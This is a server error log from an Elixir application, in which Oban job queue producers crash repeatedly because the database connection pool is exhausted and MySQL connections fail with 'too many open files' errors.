[Sun Sep  6 00:32:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:31:48.239568Z], limit: 50, uuid: "e2e1226a-a1d8-428f-85d7-ac39baaddf2f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:48.239573Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.197250>, refresh_timer: #Reference<0.2525715032.1121189889.197216>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:03.279000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:04.910000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:05.198000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:08.810000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:09.614000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:11.482000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:32:00.240007Z], limit: 5, uuid: "5b9bc470-94da-4e3b-a55e-18c79a3778c1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:00.240011Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.197715>, refresh_timer: #Reference<0.2525715032.1077673987.42418>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:12.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:32:00.239902Z], limit: 3, uuid: "ac413991-de77-4392-a46f-7c2dc2b8a71a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:00.239908Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.197716>, refresh_timer: #Reference<0.2525715032.1077673987.42414>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:12.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1010ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:32:00.239894Z], limit: 20, uuid: "d5a53746-7d0a-4c01-aa08-e4e4dc09b5af", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:00.239899Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.197712>, refresh_timer: #Reference<0.2525715032.1121189889.197684>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:12.243000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 859ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:32:00.240951Z], limit: 50, uuid: "429c40f4-b07e-499a-b060-c762ef214ef9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:00.240957Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.197717>, refresh_timer: #Reference<0.2525715032.1068498948.63405>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:12.245000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 831ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:32:00.238906Z], limit: 5, uuid: "6f3caf72-e8d9-4170-ac3f-1931370205dd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:00.238917Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.197713>, refresh_timer: #Reference<0.2525715032.1121189889.197657>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:12.243000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:32:00.240164Z], limit: 10, uuid: "7607e90a-52a0-4db3-b611-bf2ecd14bc56", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:00.240169Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.197714>, refresh_timer: #Reference<0.2525715032.1077673987.42426>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:12.402000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:13.389000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:16.329000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:17.446000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:18.954000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:20.744000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:32:12.248442Z], limit: 20, uuid: "418a6932-d943-4d1b-ab72-1db783f0d0c0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:12.248447Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.63523>, refresh_timer: #Reference<0.2525715032.1068498948.63502>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
